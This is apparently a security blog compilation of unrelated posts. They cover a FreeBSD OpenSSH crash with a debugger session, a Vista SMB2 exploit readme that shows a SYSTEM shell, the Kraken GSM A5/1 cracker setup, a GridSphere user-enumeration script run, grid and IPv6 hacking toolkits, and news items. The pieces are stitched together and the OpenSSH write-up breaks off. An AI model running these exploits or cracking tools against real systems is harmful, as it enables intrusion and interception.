OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
Discovered and Exploited By Kingcope – 2011

The last two days I have been investigating a vulnerability in OpenSSH affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run OpenSSH 3.5p1 in the default install.  The sshd banner for 4.11-RELEASE is:
"SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930".

A working Remote Exploit which spawns a root shell remotely and previous to authentication was developed.  The bug can be triggered both through ssh version 1 and ssh version 2 using a modified ssh client. During the investigation of the vulnerability it was found that the bug resides in the source code file “auth2-pam-freebsd.c”.

http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c

This file does not exist in FreeBSD releases greater than 5.2.1. The last commit is from 7 years ago.  Specifically the bug follows a code path in the PAM Authentication Thread inside this source code, “pam_thread()”. It could not be verified if the bug is inside this
(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.

Both the challenge response (ssh version 1) and keyboard interactive via pam (ssh version 2) authentications go through this code path.  By supplying a long username to the daemon the sshd crashes.

h4x# sysctl kern.sugid_coredump=1
kern.sugid_coredump: 0 -> 1
root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138
h4x# tail -1 /var/log/messages
Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)

Looking into the coredump reveals:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x28092305 in ?? ()
(gdb) x/1i $eip
0x28092305:     (bad)

The sshd crahes at a place with illegal instructions. It looks like it depends on how the sshd is started. Starting the sshd from the console as root and running the ssh client with long username again reveals:

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It has been while story about SMB version 2 vulnerability since this post. Finally public exploit to take over control windows vista SP1 and SP2 are out! You can catch the exploit at exploit-db.

Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
---------------------------------------------------------------------

Exploited by Piotr Bania // www.piotrbania.com
Exploit for Vista SP2/SP1 only, should be reliable!

Tested on:
Vista sp2 (6.0.6002.18005)
Vista sp1 ultimate (6.0.6001.18000)

Kudos for:
Stephen, HDM, Laurent Gaffie(bug) and all the mates i know, peace.
Special kudos for prdelka for testing this shit and all the hosters.

Sample usage
------------

> smb2_exploit.exe 192.167.0.5 45 0
> telnet 192.167.0.5 28876

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>

When all is done it should spawn a port TARGET_IP:28876

RELEASE UPDATE 08/2010:
----------------------
This exploit was created almost a year ago and wasnt modified from that time
whatsoever. The vulnerability itself is patched for a long time already so
i have decided to release this little exploit. You use it for your own
responsibility and im not responsible for any potential damage this thing
can cause. Finally i don't care whether it worked for you or not.

P.S the technique itself is described here:

http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html

===========================================================================
Download:

http://www.exploit-db.com/sploits/smb2_exploit_release.zip

For your information, two days later at 19th August 2010, Kingcope released root exploit for FreeBSD 8.x and 7.x by poisoning mbufs() function. You may download Kingcope’s exploit here. Now happy exploiting while waiting “SAHUR” guys!

Just like what we promised before, this time we want to release grid toolkit which usable to perform pentest against grid computing infrastructure. It’s almost two years after we release paper related to grid computing [in]security at 2008. The paper contains of:

• Introduction to grid computing
• Grid computing scanning and enumeration
• Exploiting network and transport layer related to grid security
• Exploiting DNS to stop grid infrastructure trusteeship
• Exploiting web based – grid computing portal
• Cracking certificate authority pass phrase
• Exploiting headnode trusteeship using XML file

Some points mentioned can be exploited using existing network security tool while others are already supported by Grid Toolkit. Grid Toolkit uses python with some additional module which must be installed. The additional python module are:

• Module goto to support grid toolkit core program
• Module ClientForm to support grid portal guessing
• Module Paramiko to support certificate authority cracking

Grid toolkit supports to:

• Scanning and enumeration grid infrastructure
• Guessing login gridsphere – web based grid portal
• Cracking pass phrase of certificate authority private key file
• Exploiting headnode trusteeship using XML file

More reference about how to install and use this tool will be available soon, so just keep in touch with IPSECS. Finally you can download grid toolkit on gridtoolkit.sourceforge.net or reading python source code on core.ipsecs.com!

GSM A5 Cracking topic is started to be public material since The Hacker Choice disclosed their research. Many open source materials related to GSM are released to the public on Osmocomm. Now, tool called Kraken is freely distributed on internet to crack GSM A5.

I am pleased to announce the first release of a A5/1 cracker capable
using the full Berlin set of rainbow tables for lookups. I have named
this beast Kraken, after a Norse mythological creature capable of eating
many things for breakfast. Kraken feeds of an exclusive diet of A5/1
encrypted data.

Currently only a bare bone functionality is present, but the UI will be
improved, with the specific goal of providing an easy to use tool for
cracking GSM intercepts. But setting up this Leviathan can a bit
cumbersome, so I will give a short howto here:

Prerequisites:

* Linux machine, multicore min 3GB RAM
* 1.7 - 2TB of HD partitions without filsystem ( ex Samsung spinpoint F3s,
  with 4k aligned start of partition )
* The Berlin A5/1 Rainbow table set
* GPU support will be added for ATI Radeon HD

Setup:

Find out how many tables you want on each partition, (usually roughly
equal on each) and make the initial configuration file. An example
configuration folder can be found in tinkering/A5Util/indexes. This
folder should contain a tables.conf file. The example files shows a
setup of 4 disk having 10 tables each. The index files for the various
tables will be added to the index folder as they are written to disk.
The first section of the config file needs to be set up with the list of
available partitions, and the number of tables that each partition
should hold. A single table needs 42GB of space. (Do NOT change the
order of this section)

For safety reasons it is best not to build the tables running as root.
The you will then have to make your table partitions user accessible.
Add a file such as 10-disk.rules in /etc/udev/rules.d with one line for
each partition:

KERNEL=="sda1", OWNER="frank"

Then manually change the ownership of the device nodes with chown. Take
care when doing this, as you do not want to nuke any of your system
partitions.

Add tables to your disk array:

First build and make a symlink from your index folder to the
TableConvert tool. It is assumed that the Berlin tables are available in
either SSD or index free delta format. The python script Behemoth.py
will recursively search for tables, and add them to the disk array and
configuration file as needed. (Duplicates will not be added) - This
operation(s) will take some hours to complete, but when done you should
end up with a tables.conf file listing ~40 tables, their advance
parameter (id), which device they reside on, and a block offset into the
device.

Build and fire up Kraken:

./kraken path_to_index_folder

Currently it will only load up all tables, and crack TDMA burst 998 for
the challenge data. This takes 1.5 minutes on a 4 core Phenom II using
only CPU power, and the output should look like:

Cracking
0011011100110000000010000011000110001001101101100110110100111100011010
10100100101111111010111100000110101001101011
Found de6bb5e60617f95c @ 12
Found 6fb7905579e28bfc @ 23

A more interactive UI with appropriate data formats (representations)
will be added for easy interfacing with airprobe. Optional GPU support
will also be added for faster cracking time.

cheers,
Frank

Source : http://lists.lists.reflextor.com/pipermail/a51/2010-July/000683.html

Well the article form http://computerworld.com is really nice to read!

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GridSphere is web based portal framework to access grid computing resources. The GridSphere provides an open-source portlet based Web portal. GridSphere enables developers to quickly develop and package third-party portlet web applications that can be run and administered within the GridSphere portlet container.

GridSphere which is critically uses to access grid resource is found to be vulnerable that can be exploited to enumerate a user is valid or not in grid. This vulnerability exist due to the response of gridsphere in handling in-exist user with “User does not exist“. To exploit this issue, you can use this python script.

python gridsphere-brute.py https://example.com/acgt/portal?cid=login users.txt

[INVALID] anto
[INVALID] abc
[INVALID] betha
[INVALID] een
[INVALID] nita
[INVALID] aris
[INVALID] atik
[INVALID] babas
[INVALID] alex
[OK] admin
[INVALID] fuck
[INVALID] lisa
[INVALID] ifa
[INVALID] hana
[INVALID] bram

IPSECS has developed some tools to assess grid computing security years ago which can be download here. The tools is encoded in ASCII and bundled with article which explains grid computing [in]security written in indonesian. The tools provided can be used to:

• Enumerate headnode by identifying GridFTP Service and Web Service Container
• Crack private key in Certificate Authority
• Exploit others headnode in grid when a headnode and its certificate compromised.

For your information, currently IPSECS is developing grid-toolkit to make grid computing penetration much more easier.

IPv6 is future protocol internet with rich of security features but hackers always do research and try to exploit it. Times by times, days by days, papers and presentations which explains who to defeat this protocol are widely published. Van Hauser of The Hacker Choice (THC) releases his IPv6 attack toolkit to exploit IPv6 protocol weakness. His tools can be freely downloaded on THC website. HD Moore, author Metasploit project wrote paper about Exploiting Tomorrow’s Internet Today: Penetration testing with IPv6 which can be read on http://uninformed.org. His paper tells us about exploiting  IPv6 applications by proxying/relaying via IPv4.

IPSECS, unofficially releases his IPv6 Hackit on sourceforge and papers which nearly complete explains IPv6 exploitation. His papers content of :

• Introduction to IPv6
• Connecting to IPv6 Backbone (IPv6-in-IPv4 Tunneling using TSP)
• An Introduction to IPv6 Socket Programming
• IPv6 Discovery & Scanning (via ICMP, TCP, DNS)
• Writing IPv6 Remote Exploit & Shellcoding (Stack Based Buffer Overflow, Format String)
• IPv6 Protocol Vulnerability (Man In The Middle, Denial of Service)

You can freely download this paper on core.ipsecs.com written in Indonesian. IPSECS wrote IPv6-Hackit using Perl Scripting Language which means that the tools don’t need to be compiled. Somehow, this tool needs some perl module to be installed:

• strict
• warnings
• Switch
• English
• Net::DNS
• POSIX
• Getopt::Long
• LWP::UserAgent
• HTTP::Message
• IO::Socket::INET6

This tool supports to do:

• Hosts Enumeration finding which host is up/down.
• TCP Port scanning to find which port is open/close.
• Googling via unix shell to find possible IPv6 domains.
• Finding AAAA IPv6 host record from single or massive collected domains.
• Getting shell from IPv6 binding shellcode/payload.
• Getting shell from IPv6 reverse shellcode/payload.
• Exploiting simple IPv6 application weakness (currently this module is still developed)
• IPv6 Binding backdoor with authentication (currently this module is still developed)

You can easily download this IPv6 Hackit on ipv6hackit.sourceforge.net. Meanwhile you play this tools and read the paper, now we develope grid-toolkit to be released soon. So just follow and watch this website, IPSECS just gives best stuff to play with! Finally enjoy guys!

One year after his Black Hat talk on Automated Teller Machine security vulnerabilities was yanked by his employer, security researcher Barnaby Jack plans to deliver the talk and disclose a new ATM rootkit at the computer security conference.

He plans to give the talk, entitled “Jackpotting Automated Teller Machines,” at the Black Hat Las Vegas conference, held July 28 and 29.

Jack will demonstrate several ways of attacking ATM machines, including remote, network-based attacks. He will also reveal a “multi-platform ATM rootkit,” and will discuss things that the ATM industry can do to protect itself from such attacks, he writes in his description of the talk, posted this week to the Black Hat Web site.

Jack was set to discuss ATM security problems at last year’s conference, but his employer, Juniper Networks, made him pull the presentation after getting complaints from an ATM maker that was worried that the information he had discovered could be misused.

The security researcher found a straightforward way of getting around Juniper’s objections, however. Last month, he took a new job as director of security research with IOActive.

ATM machines do get compromised, but in a roundabout way. Thieves often hit them by installing card skimmers on them to extract magnetic stripe data from the cards. Then, using a hidden video camera, they steal login numbers. Using all of this information, the crooks can build their own duplicate cards and empty bank accounts.

But Jack’s talk looks at a new area: bugs in the software used to run the machines.

He’s taken advantage of the extra year provided by Juniper’s ban to do more research. “Last year, there was one ATM; this year, I’m doubling down and bringing two new model ATMs from two major vendors,” Jack says in his talk description. The security researcher couldn’t immediately be reached for comment.

Jack doesn’t say which ATMs he plans to discuss, but it could be any major vendor, according to Black Hat Director Jeff Moss. “He’s got a living room full of a lot of different brands of ATMs, and they all seem to suffer from one or the other problem,” he said.

ATMs haven’t received a lot of serious scrutiny by security researchers, so Jack’s talk will break new ground, Moss said. “Apparently you can make all the money come out,” he said.

Source: www.networkland.com

PHPNuke is old and mature Content Management System (CMS), but once again hacker proofes us that’s nothing 100% secure. Its maturity doesn’t guarantee its security, PHPNuke is vulnerable to remote code execution which can be exploited to compromise apache user.

Most fearsome statement from the author of the exploit is that about wormable remote code execution in PHPNuke. Since PHPNuke is one of the most popular CMS used by many webmasters, then how many sites will be compromised? Well then, just take the proof of concept here.

Network admins prepare for internet security upgrade.

Network administrators are being encouraged to run some last minute checks on their DNS servers, routers and firewalls before the final cluster of the internet’s root servers are loaded up with the DNSSEC security upgrade tomorrow night.

As reported late last week on iTnews.com.au, from May 5 the DNSSEC upgrade will attach a digital signature to every response from the root servers where the DNS resolver is configured to request signed answers (via setting the DO bit in the Extensions to DNS – EDNS settings) to requests for an internet page, in order to provide an additional layer of assurance for internet users that they are connecting to the correct page.

Concerns have been raised that the upgrade might cause some problems for network administrators working with older networking equipment that is preconfigured to either not accept DNS responses over 512 bytes or not accept DNS responses split into several packets using the TCP protocol.

ICANN’s latest update on the upgrade, released yesterday, confirmed that root server cluster ‘J-Root’ is the last of 13 root server clusters to transition to DNSSEC on May 5 at 1700 – 1900 UTC.

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Kami dari komite idsecconf 2009 memberi kesempatan pada rekan-rekan penggiat keamanan komputer di seluruh Indonesia untuk berpartisipasi lewat penyerahan paper. Topik yang kami cari adalah seperti di bawah ini:

* Web hacking
* Wireless hacking
* Metode Penetration testing
* Forensic dan Anti Forensic
* Kriptografi
* Fuzzing
* Exploit writing
* System hardening
* Lock Picking
* Open Hardware Implementation

Jika anda memiliki judul paper diluar cakupan topik diatas, kami masih terbuka untuk mempertimbangkannya selama masih berkaitan dengan security.

Format paper adalah file Open Office Writer dengan ukuran halaman “Letter” Gambar bisa langsung disisipkan ke dalam dokumen atau dibuat terpisah. Format gambar adalah PNG dengan ukuran dimensi maksimal (lebar x tinggi ) 640 x 480 pixel dengan resolusi 72 pixel per inch. Jika nama file dipisahkan, mohon nama file dirujuk dari naskah. Setiap gambar harap disertai keterangan secukupnya.

Naskah yang dikirimkan juga sudah harus mencakup:

# Nick, email dan nomer telepon yang bisa dihubungi
# Biografi singkat, afiliasi, dan achievement (Maksimal 250 Kata).
# Rangkuman dari Persentasi (Abstraksi)(Maksimal 1250 Kata)
# Peralatan Pendukung yang dibutuhkan (video, internet, wireless, audio, etc.)
# Durasi yang di butuhkan (60 menit, 90 menit, 120 menit)

Pengiriman naskah ditujukan ke e-mail address: submitHAPUSHURUFBESAR@idsecconf.org dan
diterima paling lambat Jumat, 18 September 2009.

Keputusan penerimaan atau penolakan paper adalah sepenuhnya wewenang komite idsecconf 2009 dan tidak bisa diganggu gugat. Bagi yang papernya diterima, akan menerima pemberitahuan tertulis lewat e-mail untuk persiapan presentasi on-stage pada acara idsecconf 2009.

Kami tunggu partisipasi anda semuanya!

salam,

komite idsecconf 2009

An independent security consultant publicized this week the details to a critical flaw in the server message block version 2 (SMB2) component of Microsoft’s Windows Vista, Windows Server 2008, and the release candidate for Windows 7.

The researcher, Laurent Gaffié, claimed in his advisory that the vulnerability causes a Blue Screen of Death, a pernicious crash on Windows system, but other researchers have subsequently concluded that the flaw is actually remotely exploitable, a more serious issue.

Microsoft acknowledged the flaw on Tuesday in an advisory. The flaw does not affect the latest version of Windows 7, Windows Server 2008 R2, nor Windows XP, the company stated. Microsoft took the researcher to task for disclosing the information before it fixed the security issue.

Yet, Gaffié argued that the disclosure was fair. The software company should have done more software quality assurance (SQA) on the networking components, he said in an e-mail interview with SecurityFocus. If they did, they would have easily found the issue — it took his fuzzer only 15 packets to crash the component, he said.

“So I personally think the one who has been irresponsible is Microsoft for shipping this driver on any Server 2008, Vista, and Windows 7 (system) without doing any SQA and security review,” he responded.

Gaffié said he notified the company, but had a typo in the e-mail address.

The flaw was disclosed on Monday, the day before Microsoft’s regularly scheduled patch day. The software giant issued five patches for eight vulnerabilities, including three flaws in the company’s TCP/IP networking stack. Other flaws affected Windows’ Javascript engine and its Windows Media components.

While Microsoft has not released a fix for the issue, the software giant recommended that administrators disable SMB version 2 or block the specific TCP ports (139 and 445) used by the file-sharing feature.

Source : http://www.securityfocus.com/brief/1009

Introduction

Grid computing is kind of new technology which has been known since 1990s. It idea was brought together by Ian Foster, Carl Kesselman, and Steve Tuecke, widely regardes as “Father of Grid”. Grid computing is defined as group of node computation which works together in distributed computing. You can find some grid project in wikipedia article here.

Each node in grid has computer cluster to perform high performance computing through parallel computation. A computer cluster consists of a headnode (master) and some computational nodes (slaves). Headnode is responsible in communicating with the other headnode in grid, managing computation resource, and scheduling computation jobs to slave. We don’t want to explain detail how computer cluster works. In this article, our interest is in grid computing and why it’s vulnerable to some hacking exploitation.

How Grid Works

Grid computing is really complex inside its technology, so the chance of being exploited is really big. Grid computing needs a good network connectivity, many TCP/IP services, encryption, parallel programming, and web service. A headnode of cluster trusts the other because valid Certificate Authority (CA) is installed on both of headnode. CA which installed on headnode is called as Host CA. TCP/IP services is needed in headnode to send or receive data or execute jobs between two or more headnodes. There is two services in headnode which need to communicate a headnode to other, 1st is GridFTP service which is responsible in data transfer between two or more headnodes and 2nd is Web Service Container which is responsible in receiving jobs from user. Both services can be activated by installing Globus Toolkit which is de facto standard open source software for grid.

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I just look arround on milw0rm today and searching for linux kernel exploit, luckily i find four new linux kernel exploits.

• First exploit is to attack linux kernel locally using exit_notify() function vulnerability. This flaw affects linux kernel less than 2.6.29 (most of linux kernel). Just take a look here for the proof of concept.

• Second exploit is to attack linux kernel locally using UDEV vulnerability. Udev less than 1.4.1 is reported that it doesn’t verify wheter a NETLINK message originates from kernel space, which allows local users to gain root priviledge by sending a NETLINK message from user space. Let take a look here and here for the proof of concept.

• Third exploit is to attack linux kernel remotely using SCTP FWD memory corruption. Some people say this bug isn’t exploitable untill sgrakkyu gives his explanation. Sgrakkyu explanation can be read here, take a look here for the proof of concept. This flaw affects most of linux kernel.

• Fourth exploit is to attack linux kernel locally using ptrace_attach() function vulnerability. This flaw affects linux kernel version 2.6.29. Just take a look here and here for the proof of concept.

Now i just think, which is more secure by default “linux or windows??“, even openbsd which’s claimed as the most secured operating system has a stupid bugs inside its code.

Click here to view our old researches. Enjoy!

This is our first post in starting discussion about information technology related to security and hacking. Just wanna say “hi” to all folks in security industries and hacker undergrounds. We will do our best in supporting IT development guys.